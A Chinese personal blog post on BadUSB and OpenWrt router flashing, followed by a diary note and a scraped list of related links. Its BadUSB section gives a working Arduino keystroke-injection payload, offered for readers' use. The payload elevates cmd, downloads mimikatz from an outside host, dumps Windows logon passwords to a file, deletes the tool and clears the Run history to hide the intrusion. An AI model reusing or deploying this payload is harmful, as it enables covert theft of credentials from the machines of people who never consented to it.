badusb和openwrt

1.badusb

首先想说明一下的是这两个技术都是开源的,badusb几年前就已经发布过了,现在依然没有没有足够好的解决方案。说的通俗一点其实就是一个单片机系统,有点类似于鼠标等外接设备。看过相关的payload,其实就是模拟相关的键盘敲击,自动执行相关的cmd命令,从而实现对电脑的自动化攻击。下面以一个简单的payload进行讲解。

# Arduino——leonardo开发板#include<Keyboard.h>
void setup() {// put your setup code here, to run once:Keyboard.begin();//开始键盘通信delay(1000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题Keyboard.release(KEY_CAPS_LOCK); //释放大写键delay(500);Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键delay(500);Keyboard.press('r');//按下r键delay(500);Keyboard.release(KEY_LEFT_GUI);//松掉win键Keyboard.release('r');//松掉r键delay(500);Keyboard.println("cmd");//输入cmd进入DOSdelay(500);Keyboard.press(KEY_RETURN);  //按下回车键Keyboard.release(KEY_RETURN); //释放回车键delay(500);Keyboard.println("echo hello world");Keyboard.press(KEY_RETURN);  //按下回车键Keyboard.release(KEY_RETURN); //释放回车键delay(500);Keyboard.press(KEY_CAPS_LOCK); //按下大写键Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键delay(500);Keyboard.end();//结束键盘通讯
}void loop() {// put your main code here, to run repeatedly:}

代码中主要使用了一个Keyboard标准库用于模拟键盘输入,实现自动化打开启动应用,打开cmd,输出hello world。连贯操作,真的很强大。很简单,关于更多的操作,仔细学习一下cmd命令吧,有很多操作很强大,通过badusb实现自动化执行。其实执行想想badusb不过提供了一个自动执行的环境,详细的怎么使用还是需要windows知识。其实也挺遗憾的,payload最近不知道是什么原因被关闭了,这里就在提供一个payload供大家学习使用吧,这里不方便说明。代码里面有关键次注释,大家搜一下就可以了。

#include<Keyboard.h>void setup() {// put your setup code here, to run once:delay(3000);Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键delay(500);Keyboard.press('r');//按下r键delay(500);Keyboard.release(KEY_LEFT_GUI);//松掉win键Keyboard.release('r');//松掉r键delay(500);// 以管理员身份开启CMD窗口Keyboard.press(KEY_LEFT_SHIFT);Keyboard.println("powershell Start-Process cmd -Verb runAs");Keyboard.release(KEY_LEFT_SHIFT);delay(500);Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);delay(3000);Keyboard.press(KEY_LEFT_ALT);Keyboard.press('y');Keyboard.releaseAll();delay(1000);// 下载MimikatzKeyboard.press(KEY_LEFT_SHIFT);Keyboard.println("powershell if ([System.IntPtr]::Size -eq 4){(new-object System.Net.WebClient).DownloadFile('https://git.laucyun.com/myweb/blog-files/raw/master/mimikatz/x86/mimikatz.exe','C:\\pw.exe');}else{(new-object System.Net.WebClient).DownloadFile('https://git.laucyun.com/myweb/blog-files/raw/master/mimikatz/x64/mimikatz.exe','C:\\pw.exe');}");Keyboard.release(KEY_LEFT_SHIFT);delay(500);Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);delay(5000);// 运行MimikatzKeyboard.press(KEY_LEFT_SHIFT);Keyboard.println("C:\\pw.exe > C:\\pwlog.txt");Keyboard.release(KEY_LEFT_SHIFT);delay(500);Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);delay(1000);Keyboard.press(KEY_LEFT_SHIFT);Keyboard.println("privilege::debug");Keyboard.release(KEY_LEFT_SHIFT);delay(500);Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);delay(500);Keyboard.press(KEY_LEFT_SHIFT);Keyboard.println("sekurlsa::logonPasswords full");Keyboard.release(KEY_LEFT_SHIFT);delay(500);Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);delay(1000);Keyboard.press(KEY_LEFT_SHIFT);Keyboard.println("exit");Keyboard.release(KEY_LEFT_SHIFT);delay(500);Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);delay(300);// 删除MimikatzKeyboard.press(KEY_LEFT_SHIFT);Keyboard.println("DEL C:\\pw.exe");Keyboard.release(KEY_LEFT_SHIFT);delay(500);Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);delay(50);Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);delay(300);// 利用注册表清除`开始->运行`的记录Keyboard.press(KEY_LEFT_SHIFT);Keyboard.println("reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f");Keyboard.release(KEY_LEFT_SHIFT);delay(500);Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);delay(500);// 退出CMD窗口,并打开文件Keyboard.press(KEY_LEFT_SHIFT);Keyboard.println("notepad C:\\pwlog.txt && exit");Keyboard.release(KEY_LEFT_SHIFT);delay(500);Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);delay(500);
}void loop() {// put your main code here, to run repeatedly:}

这份代码是根据一个大神的代码改编的一份leonardo版本,搭建可以探索badusb更强大的功能。

2.openwrt

OpenWrt是适合于嵌入式设备的一个Linux发行版。

  • 这是百科上的解释,其实,关于这个系统最火的应用还是应用于软路由,包括小米路由器在内的一些路由系统就是基于openwrt深度定制的系统。国内的话做的比较早的是极路由,不过现在凉了,因为大厂的封杀,极路由功能越来越受限。逐渐的失去了优势。在我看来,我觉得这一块单纯就是技术的较量,并没有什么真正的对错。现在openwrt社区也有很多优秀的定制系统,padavans,lede等等,前者是民间开发者开发的,也是用的最为广泛的一款系统,后者是由技术公司维护的,主要是多播功能强大,去年出于好奇在虚拟机中跑了一下,感觉lede界面还是挺友好的,可以尝试一下。
  • 首先,并不是每款路由器都支持刷机,需要有相关的软硬件支持,需要的软件是和路由器匹配的breed,以及系统固件,收录了小米路由器mini的全套刷机包,分享给大家mini固件,我是先前刷机导致bootloader损坏变砖了,因此买了编程器救了回来,顺便体验了一下锐捷校园网的认证功能,正常运行,看到一些地方说,如果苹果和安卓最好不要同时连接路由器,这样容易被检测到,导致账号被封,大家还是注意一下吧。

总结

今天感觉写了好多,很开心。最近真的很快乐。ipad失而复返,同时真的很开心,也许是真的喜欢上一个女孩子了。也许接触没那么多,但给人的印象很深。第一次在博文里说这些,但我想也许像我姐说的那样,机会自己去把握,不想错过太多。便写下来吧。

badusb和openwrt相关推荐

  1. gcc 从5.3升级到6.1之后 openwrt pkg-config glib编译报错修复办法

    报错 01 /usr/bin/env bash ../libtool  --tag=CC   --mode=compile gcc -DHAVE_CONFIG_H -I. -I..  -I.. -I. ...

  2. linux禁止路由器,FCC 新规可能禁止在 WiFi 路由器安装 OpenWRT

    FCC(美国联邦通讯委员会)的新规则可能会禁止在 WiFi 路由器安装 OpenWRT. OpenWrt 类似于 Buildroot 的路由器固件,为嵌入式设备所研发的 Linux 发行版.目前 Op ...

  3. 硬改TP-Link WR841N v8刷breed和OpenWrt

    找到了以前的路由器,想刷OpenWrt 但版本是TP-Link的WR841N v8版,上网查过才知道,是专门面向国内发布的严重缩水版 国际版的Flash是4M,内存RAM是32M,国内版是2M/16M ...

  4. 在Centos 7下编译openwrt+njit-client

    首先要有一个centos7 step1:更新系统的源: yum install update 但是发现官方的源好像被墙了,于是自己又去换源,找163的源换.具体的操作最后的链接. 可是换完源之后发现1 ...

  5. esxi里面安装openwrt和其他虚拟机

    为什么要在esxi安装openwrt,直接安装不好吗? 我本人之前直接安装的openwrt,硬件为j4125,4核心4线程,8G内存,256G的msata硬盘,性能严重过剩,当然土豪随意. esxi激 ...

  6. openwrt配置内核驱动_openwrt增加内核模块的方法

    开发环境为ubuntu.首先搭建编译环境. sudo apt-get install gcc g++ binutils patch bzip2 flex bison make autoconf get ...

  7. 安卓Socket连接实现连接实现发送接收数据,openwrt wifi转串口连接单片机实现控制...

    安卓Socket连接实现连接实现发送接收数据,openwrt wifi转串口连接单片机实现控制 socket 连接采用流的方式进行发送接收数据,采用thread线程的方式. 什么是线程?  详细代码介 ...

  8. 基于ArduinoLeonardo板子的BadUSB攻击实战

    0X00 前言 在Freebuf上许多同学已经对HID攻击谈了自己的看法,如维克斯同学的<利用Arduino快速制作Teensy BadUSB>无论从科普还是实践都给我们详尽的描述了Bad ...

  9. 《智能路由器开发指南》——1.1 OpenWrt简介

    本节书摘来异步社区<智能路由器开发指南>一书中的第1章,第1.1节,作者:张永智 ,李章明,更多章节内容可以访问云栖社区"异步社区"公众号查看 1.1 OpenWrt简 ...

最新文章

  1. oracle12c默认字符集,修改Oracle【12C】字符集
  2. CodeForces - 1029B.Creating the Contest(最长上升子序列0(n)解法)
  3. Spring Security——认证失败时获取认证信息(用户名、密码、IP、SESSIONID)
  4. android之inflater用法
  5. 200910阶段一C++虚析构
  6. eclipse中快捷键
  7. primefaces_使用WildFly 8.2.0.Final,Primefaces 5.1和MySQL 5的JDBC领域和基于表单的身份验证...
  8. 日志log4cxx 封装、实例讲解、配置文件log4cxx.properties
  9. SPOJ GSS2 Can you answer these queries II (线段树离线) - xgtao -
  10. C#使用ListView更新数据出现闪烁解决办法
  11. python求极值(极大值、极小值)
  12. java collection 常用类_分析Collection常用的实现类
  13. 2月25日 局域不变特征的目标跟踪,SURF算子,KLT算子
  14. Navicat for mac破解版
  15. BIM技术在工程成本管控中有哪些优势
  16. 使用TortoiseGit 进行cherry pick 操作
  17. java 类 函数,java常用类和函数
  18. Mixlab推荐:一起开启 AI+X 微软认证未来创变者计划
  19. Teardrop攻击——发送虚假IP包信息
  20. android+农历月份大小压缩表,部分日期农历新历转换会崩溃

热门文章

  1. 2023年UED上半年工作总结
  2. 没有退路就是胜利之路
  3. ZigBee 3.0实战教程-Silicon Labs EFR32+EmberZnet-2-04:开发环境搭建
  4. CSS炫丽的字体,含中文字体,在线字体
  5. 几款工具神器,高效率助你走上人生巅峰
  6. 声音编辑软件----CoolEdit
  7. SQL2000远程连接不了的问题
  8. [插件]_音游制作插件Koreographer(一)
  9. Tessent shell edt_update / edt clock 时序以及组合
  10. 联通4g满格但是网速慢_联通手机上网慢 联通4g满格但是网速慢